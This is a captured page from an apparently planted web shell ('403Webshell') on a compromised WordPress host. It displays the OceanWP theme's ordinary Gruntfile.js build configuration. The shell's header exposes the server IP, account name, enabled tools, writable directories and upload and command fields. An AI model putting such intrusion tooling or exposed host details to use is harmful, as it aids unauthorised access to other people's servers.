403Webshell
Server IP : 217.160.0.4  /  Your IP : 216.73.216.60
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u95291125 ( 3026745)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /homepages/45/d758495492/htdocs/clickandbuilds/oeil/wp-content/themes/oceanwp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /homepages/45/d758495492/htdocs/clickandbuilds/oeil/wp-content/themes/oceanwp/Gruntfile.js
module.exports = function ( grunt ) {

	// require it at the top and pass in the grunt instance
	require( 'time-grunt' )( grunt );

	// Load all Grunt tasks
	require( 'jit-grunt' )( grunt, {
		makepot: 'grunt-wp-i18n'
	} );

	grunt.initConfig( {

		pkg: grunt.file.readJSON( 'package.json' ),

		// Concat and Minify our js.
		uglify: {
			dev: {
				files: {
					'assets/js/third/html5.min.js'									: 'assets/js/third/html5.js',
					'assets/js/third/magnific-popup.min.js'							: 'assets/js/third/magnific-popup.js',
					'assets/js/third/lightbox.min.js'								: 'assets/js/third/lightbox.js',
					'assets/js/third/woo/woo-scripts.min.js'						: [ 'assets/js/third/woo/devs/**/*.js' ],
					'assets/js/third/woo/woo-ajax-add-to-cart.min.js'				: 'assets/js/third/woo/woo-ajax-add-to-cart.js',
					'assets/js/third/woo/woo-display-cart.min.js'					: 'assets/js/third/woo/woo-display-cart.js',
					'assets/js/third/woo/woo-off-canvas.min.js'						: 'assets/js/third/woo/woo-off-canvas.js',
					'assets/js/third/woo/woo-mini-cart.min.js'						: 'assets/js/third/woo/woo-mini-cart.js',
					'assets/js/third/woo/woo-quick-view.min.js'						: 'assets/js/third/woo/woo-quick-view.js',
					'assets/js/third/woo/woo-multistep-checkout.min.js'				: 'assets/js/third/woo/woo-multistep-checkout.js',
					'assets/js/third/woo/woo-thumbnails.min.js'						: 'assets/js/third/woo/woo-thumbnails.js',
					'assets/js/third/woo/woo-floating-bar.min.js'					: 'assets/js/third/woo/woo-floating-bar.js',
					'assets/js/third/woo/woo-cat-widget.min.js'						: 'assets/js/third/woo/woo-cat-widget.js',
					'assets/js/third/woo/woo-hover-style.min.js'					: 'assets/js/third/woo/woo-hover-style.js',
					'assets/js/third/edd/edd-display-cart.min.js'					: 'assets/js/third/edd/edd-display-cart.js',
					'assets/js/third/edd/edd-cart-ajax.min.js'						: 'assets/js/third/edd/edd-cart-ajax.js',

					'inc/customizer/assets/js/customize-preview.min.js'				: 'inc/customizer/assets/js/customize-preview.js',
					'inc/customizer/assets/js/typography-customize-preview.min.js'	: 'inc/customizer/assets/js/typography-customize-preview.js',
					'inc/customizer/assets/min/js/general.min.js'					: 'inc/customizer/controls/general.js',
					'inc/customizer/assets/min/js/buttonset.min.js'					: 'inc/customizer/controls/buttonset/buttonset.js',
					'inc/customizer/assets/min/js/color.min.js'						: 'inc/customizer/controls/color/color.js',
					'inc/customizer/assets/min/js/dimensions.min.js'				: 'inc/customizer/controls/dimensions/dimensions.js',
					'inc/customizer/assets/min/js/dropdown-pages.min.js'			: 'inc/customizer/controls/dropdown-pages/dropdown-pages.js',
					'inc/customizer/assets/min/js/icon-select.min.js'				: 'inc/customizer/controls/icon-select/icon-select.js',
					'inc/customizer/assets/min/js/multicheck.min.js'				: 'inc/customizer/controls/multicheck/multicheck.js',
					'inc/customizer/assets/min/js/multiple-select.min.js'			: 'inc/customizer/controls/multiple-select/multiple-select.js',
					'inc/customizer/assets/min/js/radio-image.min.js'				: 'inc/customizer/controls/radio-image/radio-image.js',
					'inc/customizer/assets/min/js/range.min.js'						: 'inc/customizer/controls/range/range.js',
					'inc/customizer/assets/min/js/slider.min.js'					: 'inc/customizer/controls/slider/slider.js',
					'inc/customizer/assets/min/js/sortable.min.js'					: 'inc/customizer/controls/sortable/sortable.js',
					'inc/customizer/assets/min/js/text.min.js'						: 'inc/customizer/controls/text/text.js',
					'inc/customizer/assets/min/js/textarea.min.js'					: 'inc/customizer/controls/textarea/textarea.js',
					'inc/customizer/assets/min/js/typo.min.js'						: 'inc/customizer/controls/typo/typo.js',
					'inc/customizer/assets/min/js/typography.min.js'				: 'inc/customizer/controls/typography/typography.js',
					'inc/customizer/assets/min/js/upsell.min.js'					: 'inc/customizer/controls/upsell/upsell.js'
				}
			},
			prod: {
				files: {
					'assets/js/main.min.js'											: [ 'assets/js/devs/**/*.js', 'assets/js/core/**/*.js' ]
				}
			}
		},

		// Minify CSS
		cssmin: {
			options: {
				shorthandCompacting: false,
				roundingPrecision: -1,
				keepSpecialComments: 0
			},
			prod: {
				files: {
					'assets/css/third/elementor-editor.min.css'						: 'assets/css/third/elementor-editor.css',
					'assets/css/third/hamburgers/hamburgers.min.css'				: 'assets/css/third/hamburgers/hamburgers.css',
					'assets/css/third/magnific-popup.min.css'						: 'assets/css/third/magnific-popup.css',
					'assets/css/third/slick.min.css'								: 'assets/css/third/slick.css',
					'assets/css/third/bbpress.min.css'								: 'assets/css/third/bbpress.css',
					'assets/css/third/buddypress.min.css'							: 'assets/css/third/buddypress.css',
					'assets/css/third/sensei.min.css'								: 'assets/css/third/sensei.css',
					'assets/css/third/social-login.min.css'							: 'assets/css/third/social-login.css',
					'assets/css/woo/woo-star-font.min.css'							: 'assets/css/woo/woo-star-font.css',
					'assets/css/editor-style.min.css'								: 'assets/css/editor-style.css',

					'inc/customizer/assets/css/customizer-simple-line-icons.min.css': 'inc/customizer/assets/css/customizer-simple-line-icons.css',
					'inc/customizer/assets/min/css/rtl.min.css'						: 'inc/customizer/controls/rtl.css',
					'inc/customizer/assets/min/css/general.min.css'					: 'inc/customizer/controls/general.css',
					'inc/customizer/assets/min/css/buttonset.min.css'				: 'inc/customizer/controls/buttonset/buttonset.css',
					'inc/customizer/assets/min/css/color.min.css'					: 'inc/customizer/controls/color/color.css',
					'inc/customizer/assets/min/css/dimensions.min.css'				: 'inc/customizer/controls/dimensions/dimensions.css',
					'inc/customizer/assets/min/css/heading.min.css'					: 'inc/customizer/controls/heading/heading.css',
					'inc/customizer/assets/min/css/icon-select.min.css'				: 'inc/customizer/controls/icon-select/icon-select.css',
					'inc/customizer/assets/min/css/multiple-select.min.css'			: 'inc/customizer/controls/multiple-select/multiple-select.css',
					'inc/customizer/assets/min/css/radio-image.min.css'				: 'inc/customizer/controls/radio-image/radio-image.css',
					'inc/customizer/assets/min/css/range.min.css'					: 'inc/customizer/controls/range/range.css',
					'inc/customizer/assets/min/css/slider.min.css'					: 'inc/customizer/controls/slider/slider.css',
					'inc/customizer/assets/min/css/sortable.min.css'				: 'inc/customizer/controls/sortable/sortable.css',
					'inc/customizer/assets/min/css/textarea.min.css'				: 'inc/customizer/controls/textarea/textarea.css',
					'inc/customizer/assets/min/css/typo.min.css'					: 'inc/customizer/controls/typo/typo.css',
					'inc/customizer/assets/min/css/typography.min.css'				: 'inc/customizer/controls/typography/typography.css',
					'inc/customizer/assets/min/css/upsell.min.css'					: 'inc/customizer/controls/upsell/upsell.css'
				}
			}
		},

		// Compile our sass.
		sass: {
			dev: { // This outputs the expanded css file
                options: {
                    outputStyle: 'expanded',
                    sourceMap: false,
                },
                files: {
					'assets/css/woo/woocommerce.css': 'sass/woocommerce.scss',
					'assets/css/woo/hover-style.css': 'sass/hover-style.scss',
					'assets/css/woo/woo-floating-bar.css': 'sass/woo-floating-bar.scss',
					'assets/css/woo/woo-mini-cart.css': 'sass/woo-mini-cart.scss',
					'assets/css/woo/woo-quick-view.css': 'sass/woo-quick-view.scss',
					'assets/css/woo/woo-multistep-checkout.css': 'sass/woo-multistep-checkout.scss',
					'assets/css/woo/wishlist.css': 'sass/wishlist.scss',
					'assets/css/gutenberg/gutenberg-editor.css': 'sass/gutenberg-editor.scss',
					'assets/css/edd/edd.css': 'sass/edd.scss',
					'assets/css/llms/llms.css': 'sass/llms.scss',
					'assets/css/learndash/learndash.css': 'sass/learndash.scss',
					'assets/css/style.css': 'sass/stylesheet.scss',
                }
            },
            prod: { // This outputs the compressed css file
                options: {
                    outputStyle: 'compressed',
                    sourceMap: false,
                },
                files: {
					'style.css': 'sass/style.scss',
					'assets/css/woo/woocommerce.min.css': 'sass/woocommerce.scss',
					'assets/css/woo/hover-style.min.css': 'sass/hover-style.scss',
					'assets/css/woo/woo-floating-bar.min.css': 'sass/woo-floating-bar.scss',
					'assets/css/woo/woo-mini-cart.min.css': 'sass/woo-mini-cart.scss',
					'assets/css/woo/woo-quick-view.min.css': 'sass/woo-quick-view.scss',
					'assets/css/woo/woo-multistep-checkout.min.css': 'sass/woo-multistep-checkout.scss',
					'assets/css/woo/wishlist.min.css': 'sass/wishlist.scss',
					'assets/css/gutenberg/gutenberg-editor.min.css': 'sass/gutenberg-editor.scss',
					'assets/css/edd/edd.min.css': 'sass/edd.scss',
					'assets/css/llms/llms.min.css': 'sass/llms.scss',
					'assets/css/learndash/learndash.min.css': 'sass/learndash.scss',
					'assets/css/style.min.css': 'sass/stylesheet.scss',
                }
            }
		},

		// Autoprefixer.
		autoprefixer: {
			options: {
				browsers: [
					'last 8 versions', 'ie 8', 'ie 9'
				]
			},
			main: {
				files: {
					'assets/css/style.css': 'assets/css/style.css',
				}
			}
		},

		// Newer files checker
		newer: {
			options: {
				override: function ( detail, include ) {
					if ( detail.task === 'php' || detail.task === 'sass' ) {
						include( true );
					} else {
						include( false );
					}
				}
			}
		},

		// Watch for changes.
		watch: {
			options: {
				livereload: true,
				spawn: false
			},
			scss: {
				files: [ 'sass/**/*.scss' ],
				tasks: [
					'newer:sass:dev',
					'newer:sass:prod',
					'newer:autoprefixer:main',
				]
			},
			js: {
				files: [ 'assets/js/**/*.js' ],
				tasks: [
					'newer:uglify:dev',
					'newer:uglify:prod',
				]
			}
		},

		// Images minify
		imagemin: {
			screenshot: {
				files: {
					'screenshot.png': 'screenshot.png'
				}
			},
			dynamic: {
				files: [ {
					expand: true,
					cwd: 'assets/img/',
					src: [ '**/*.{png,jpg,gif}' ],
					dest: 'assets/img/'
				} ]
			}
		},

		// Copy the theme into the build directory
		copy: {
			build: {
				expand: true,
				src: [
					'**',
					'!node_modules/**',
					'!bower_components/**',
					'!build/**',
					'!.git/**',
					'!Gruntfile.js',
					'!package.json',
					'!desktop.ini',
					'!prepros.cfg',
					'!CONTRIBUTING.md',
					'!README.md',
					'!.csscomb.json',
					'!.tern-project',
					'!.gitignore',
					'!.jshintrc',
					'!.DS_Store',
					'!*.map',
					'!**/*.map',
					'!**/Gruntfile.js',
					'!**/package.json',
					'!**/*~'
				],
				dest: 'build/<%= pkg.name %>/'
			}
		},

		// Compress build directory into <name>.zip
		compress: {
			build: {
				options: {
					mode: 'zip',
					archive: './build/<%= pkg.name %>.zip'
				},
				expand: true,
				cwd: 'build/<%= pkg.name %>/',
				src: [ '**/*' ],
				dest: '<%= pkg.name %>/'
			}
		},

		// Clean up build directory
		clean: {
			build: [
				'build/<%= pkg.name %>',
				'build/<%= pkg.name %>.zip'
			]
		},

		makepot: {
			target: {
				options: {
					domainPath: '/languages/', // Where to save the POT file.
					exclude: [ // Exlude folder.
						'build/.*',
						'assets/.*',
						'readme/.*',
						'sass/.*',
						'bower_components/.*',
						'node_modules/.*'
					],
					potFilename: '<%= pkg.name %>.pot', // Name of the POT file.
					type: 'wp-theme', // Type of project (wp-plugin or wp-theme).
					updateTimestamp: true, // Whether the POT-Creation-Date should be updated without other changes.
					processPot: function ( pot, options ) {
						pot.headers[ 'plural-forms' ] 				= 'nplurals=2; plural=n != 1;';
						pot.headers[ 'last-translator' ] 			= 'OceanWP\n';
						pot.headers[ 'language-team' ] 				= 'OceanWP\n';
						pot.headers[ 'x-poedit-basepath' ] 			= '..\n';
						pot.headers[ 'x-poedit-language' ] 			= 'English\n';
						pot.headers[ 'x-poedit-country' ] 			= 'UNITED STATES\n';
						pot.headers[ 'x-poedit-sourcecharset' ] 	= 'utf-8\n';
						pot.headers[ 'x-poedit-searchpath-0' ] 		= '.\n';
						pot.headers[ 'x-poedit-keywordslist' ] 		= '_esc_attr__;esc_attr_x;esc_attr_e;esc_html__;esc_html_e;esc_html_x;__;_e;__ngettext:1,2;_n:1,2;__ngettext_noop:1,2;_n_noop:1,2;_c;_nc:4c,1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;_nx_noop:4c,1,2;\n';
						pot.headers[ 'x-textdomain-support' ] 		= 'yes\n';
						return pot;
					}
				}
			}
		}

	} );

	// Dev task
	grunt.registerTask( 'default', [
		'uglify:dev',
		'cssmin:prod',
		'sass:dev',
		'sass:prod'
	] );

	// Production task
	grunt.registerTask( 'build', [
		'newer:uglify:prod',
		'newer:imagemin',
		'sass:dev',
		'sass:prod',
		'autoprefixer:main',
		'copy'
	] );

	// Package task
	grunt.registerTask( 'package', [
		'compress',
	] );

};

Youez - 2016 - github.com/yon3zu
LinuXploit